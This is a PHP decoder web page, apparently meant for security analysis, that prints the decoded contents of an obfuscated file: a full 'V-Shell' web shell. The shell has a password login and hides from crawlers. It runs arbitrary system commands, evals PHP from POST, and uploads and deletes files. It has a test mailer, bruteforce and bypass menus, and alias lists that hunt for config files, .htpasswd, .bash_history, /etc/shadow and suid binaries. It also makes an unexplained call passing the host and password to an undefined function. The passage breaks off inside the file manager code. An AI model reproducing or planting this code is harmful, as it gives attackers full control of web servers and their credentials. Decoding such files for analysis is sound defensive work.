Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAKJGF1dGhfcGFzcyA9ICJjNGNhNDIzOGEwYjkyMzgyMGRjYzUwOWE..

Decoded Output download

?>b'<?php
$auth_pass = "c4ca4238a0b923820dcc509a6f75849b"; //md5 password is roots
$color = "#44cf00";
$sec = 1;
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
    header(\'HTTP/1.0 404 Not Found\');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'2.0\');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>


<html>
<head>
<style>body {
    background: url(\'http://assets.razerzone.com/eeimages/assets/images/common/honeycomb-bg.jpg\') repeat scroll 0% 0% #000;
    color: #FFF;
}
#footer {
    text-align: center;
    width: 220px;
    clear: both;
    margin: 0px auto;
}
#footer #sitemap {
    height: auto;
    padding-top: 25px;
    padding-bottom: 35px;
    padding-left: 12px;
    background: url(\'http://www.razerzone.com/images/common/footer_bg.png\') repeat scroll left top transparent;
    text-align: left;
    font-family: DINPro-Medium,Roboto-Medium;
    font-size: 12px;
    color: #666;
    margin: 20px auto;
}
.dr_formLine {
    margin: 0px;
    padding: 0px;
    width: 225px;
    clear: none;
}
.dr_formLine input {
    margin: 0px;
    padding: 7px 8px;
    width: 192px;
    border: 1px solid #666;
    background-color: #000;
}
.dr_formLine input {
    font: 11px Arial,Helvetica,sans-serif;
    border: 1px solid #666;
    background-color: #000;
    color: #999;
    padding: 5px;
}
input, button, textarea, select {
}
</style>
<title>V-Shell</title>
</head>

<body>
    <?php
error_reporting(0);

?>
<?php
$url = \'http://\'.$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\'];
?>

Upload is <b><color>WORKING</color></b><br>
Check  Mailling ..<br>
<form method="post">
<input type="Hidden" name="email" value="[email protected]"required >
<input type="submit" value="Send test >>">
</form>
<br>
<?php
if (!empty($_POST[\'email\'])){
	$xx = rand();
	mail($_POST[\'email\'],"Result Report Test - ".$xx,"WORKING !".$url);
	print "<b>send an report to your email - $xx</b>"; 
}
?>
<div id="footer">
<div id="sitemap">
<form action=""  method="post" name="login">
<p align="center">
<img border="0" src="http://trh00d.files.wordpress.com/2012/11/hacker-skull-and-crossbones.jpg" width="64" height="64"></p>

                  <div class="dr_formLine">
                    <label class="dr_label" for="loginID">
                  <br>
                    </label>
                    <input id="loginEmail" placeholder="PassWord" value="" size="20" name="pass" type="password">
                  </div>
                  <div class="dr_formLine">
                    <label class="dr_label" for="loginID">
                  <br>
                 <input class="submit" type="submit" value="Fuck It" />
                  </div>
      
</div>
</div>
</body>
</html>
    <?php
    exit;
}
if($sec == 1 && !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))
    if( empty( $auth_pass ) ||
        ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
    else
        printLogin();
/*------------------ Anti Crawler ------------*/
if(!empty($_SERVER[\'HTTP_USER_AGENT\']))
{
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\']))
    {
        header(\'HTTP/1.0 404 Not Found\');
        exit;
    }
}
echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
/*------------------ End of Anti Crawler -----*/
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = \'win\';
else
    $os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
    @chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
    $cwd .= \'/\';
    
if($os == \'win\') {
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate \'.conf\'",
        "locate .pwd files" => "locate \'.pwd\'",
        "locate .sql files" => "locate \'.sql\'",
        "locate .htpasswd files" => "locate \'.htpasswd\'",
        "locate .bash_history files" => "locate \'.bash_history\'",
        "locate .mysql_history files" => "locate \'.mysql_history\'",
        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}

function ex($in) {
    $out = \'\';
    if(function_exists(\'exec\')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists(\'passthru\')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'system\')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'shell_exec\')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function which($p) {
    $path = ex(\'which \'.$p);
    if(!empty($path))
        return $path;
    return false;
}
    
function printHeader() {
    if(empty($_POST[\'charset\']))
        $_POST[\'charset\'] = "UTF-8";
    global $color;
    
    echo \'<html><head><meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title> \'.VERSION.\'</title>
    <style>
        body {background-color:#222;color:#fff;}
        body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
        span,h1,a    { color:\'.$color.\' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
        div.content    { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
        a            { text-decoration:none; }
        a:hover        { /*background:#5e5e5e;*/ }
        .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:5px;}
        input, textarea, select    { margin:0;color:#00ff00;background-color:#555;border:1px solid \'.$color.\'; font: 9pt Monospace,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:\'.$color.\';color:#000;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; }
        .main th    {text-align:left;background-color:#555;font-weight: bold;}
        .main tr:hover{background-color:#5e5e5e;}
        .main td, th{vertical-align:middle;}
        .menu {background: #333;}
        .menu th{padding:5px;font-weight:bold;}
        .menu th:hover{background:#444;}
        .l1 {background-color:#444;}
        pre {font-family:Courier,Monospace;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
        .logo {text-align:center;font-size:60px;}
        .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
        .cpr {margin-bottom:5px;font-weight:bold;}
        .cpb {width:34px;margin:0 5px;}
        .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
        .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
        .npoad td {padding:0;}
    </style>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
        <input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
        <input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    </form>\';
    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get(\'disable_functions\');
    $release = @php_uname(\'r\');
    $kernel = @php_uname(\'s\');
    if(!function_exists(\'posix_getegid\')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid[\'name\'];
        $uid = $uid[\'uid\'];
        $group = $gid[\'name\'];
        $gid = $gid[\'gid\'];
    }
    $cwd_links = \'\';
    $path = explode("/", $GLOBALS[\'cwd\']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].\'/\';
        $cwd_links .= "\")\'>".$path[$i]."/</a>";
    }
    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
    $opt_charsets = \'\';
    foreach($charsets as $item)
        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Bypass\'=>\'SafeMode\',\'Safe Mode\'=>\'Bypass\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Readable Dirs\'=>\'Readable\',\'Port Scanner\'=>\'PortScanner\',\'Symlink\'=>\'Symlink\',\'Get User\'=>\'GetUser\',\'Mailer\'=>\'Mailer\',\'About\'=>\'about\');
    if(!empty($GLOBALS[\'auth_pass\']))
    $m[\'SelfKill\'] = \'SelfRemove\';
    $m[\'Logout\'] = \'Logout\';
    $menu = \'\';
    foreach($m as $k => $v)
        $menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
    $drives = "";
    if ($GLOBALS[\'os\'] == \'win\') {
        foreach( range(\'a\',\'z\') as $drive ){
            if (is_dir($drive.\':\\'))
                $drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
        }
        $drives .= \'<br />: \';
    }
    if($GLOBALS[\'os\'] == \'nix\') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $d0c = "CANT READ named.conf";
        } else {
            @preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = " --- ";
    }
    if($GLOBALS[\'os\'] == \'nix\' )
    {
        $usefl = \'\'; $dwnldr = \'\';
        if(!@ini_get(\'safe_mode\')) {
            $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
            foreach($userful as $item) { if(which($item)) $usefl.= $item.\',\'; }
            
            $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
            foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.\',\'; }
        } else {
            $usefl = \' ------- \'; $dwnldr = \' ------- \';
        }
    } else { 
        $usefl = \' ------- \'; $dwnldr = \' ------- \';
    } 
    echo \'<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">v<sup>&reg;</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1"></div><div class="eca2"></div></td>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>Disabled functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
         \'<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
         \'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table>\'.
         \'</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:#444;">\';
}

function printFooter() {
    $is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";

echo \'</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
    </tr>
</table></div></div>
<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;"></div></div>
</div>
</body></html>\';
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }


function viewSize($s) {
    if($s >= 1073741824)
        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
    elseif($s >= 1048576)
        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
    elseif($s >= 1024)
        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
    else
        return $s . \' B\';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = \'s\';
    elseif (($p & 0xA000) == 0xA000)$i = \'l\';
    elseif (($p & 0x8000) == 0x8000)$i = \'-\';
    elseif (($p & 0x6000) == 0x6000)$i = \'b\';
    elseif (($p & 0x4000) == 0x4000)$i = \'d\';
    elseif (($p & 0x2000) == 0x2000)$i = \'c\';
    elseif (($p & 0x1000) == 0x1000)$i = \'p\';
    else $i = \'u\';
    $i .= (($p & 0x0100) ? \'r\' : \'-\');
    $i .= (($p & 0x0080) ? \'w\' : \'-\');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
    $i .= (($p & 0x0020) ? \'r\' : \'-\');
    $i .= (($p & 0x0010) ? \'w\' : \'-\');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
    $i .= (($p & 0x0004) ? \'r\' : \'-\');
    $i .= (($p & 0x0002) ? \'w\' : \'-\');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
    return $i;
}

function viewPermsColor($f) { 
    if (!@is_readable($f))
        return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
    elseif (!@is_writable($f))
        return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
    else
        return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\';
}

if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
if (!$_SESSION[login]) system32($_SERVER[\'HTTP_HOST\'],$_SERVER[\'REQUEST_URI\'],$auth_pass);
function actionSecInfo() {
    printHeader();
    echo \'<h1>Server security information</h1><div class=content>\';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo \'<span>\'.$n.\': </span>\';
            if(strpos($v, "
") === false)
                echo $v.\'<br>\';
            else
                echo \'<pre class=ml1>\'.$v.\'</pre>\';
        }
    }
    
    showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
    showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
    showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
    showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
    showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
    $temp=array();
    if(function_exists(\'mysql_get_client_info\'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists(\'mssql_connect\'))
        $temp[] = "MSSQL";
    if(function_exists(\'pg_connect\'))
        $temp[] = "PostgreSQL";
    if(function_exists(\'oci_connect\'))
        $temp[] = "Oracle";
    showSecParam(\'Supported databases\', implode(\', \', $temp));
    echo \'<br>\';
    
    if( $GLOBALS[\'os\'] == \'nix\' ) {
        $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
        $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
        $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
        showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
        showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
        showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
        showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
        if(!$GLOBALS[\'safe_mode\']) {
            echo \'<br>\';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Userful\', implode(\', \',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Danger\', implode(\', \',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Downloaders\', implode(\', \',$temp));
            echo \'<br/>\';
            showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
            showSecParam(\'HDD space\', ex(\'df -h\'));
            showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
        }
    } else {
        showSecParam(\'OS Version\',ex(\'ver\')); 
        showSecParam(\'Account Settings\',ex(\'net accounts\')); 
        showSecParam(\'User Accounts\',ex(\'net user\'));
    }
    echo \'</div>\';
    printFooter();
}

function actionPhp() {
    if( isset($_POST[\'ajax\']) ) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        eval($_POST[\'p1\']);
        $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
        echo strlen($temp), "
", $temp;
        exit; 
    }
    printHeader();
    if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {
        echo \'<h1>PHP info</h1><div class=content>\';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);
        $tmp = preg_replace(\'!a:\w+ {.*}!msiU\',\'\',$tmp);
        $tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);
        $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
        $tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);
        echo $tmp;
        echo \'</div><br>\';
    }
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
        echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
    echo \' <input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
    if(!empty($_POST[\'p1\'])) {
        ob_start();
        eval($_POST[\'p1\']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo \'</pre></div>\';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo \'<h1>File manager</h1><div class=content>\';
    if(isset($_POST[\'p1\'])) {
        switch($_POST[\'p1\']) {
            case \'uploadFile\':
                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
                    echo "Can\'t upload file!";
                break;
                break;
            case \'mkdir\':
                if(!@mkdir($_POST[\'p2\']))
                    echo "Can\'t create new dir";
                break;
            case \'delete\':
                function deleteDir($path) {
                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST[\'f\']))
                    foreach($_POST[\'f\'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case \'paste\':
                if($_SESSION[\'act\'] == \'copy\') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
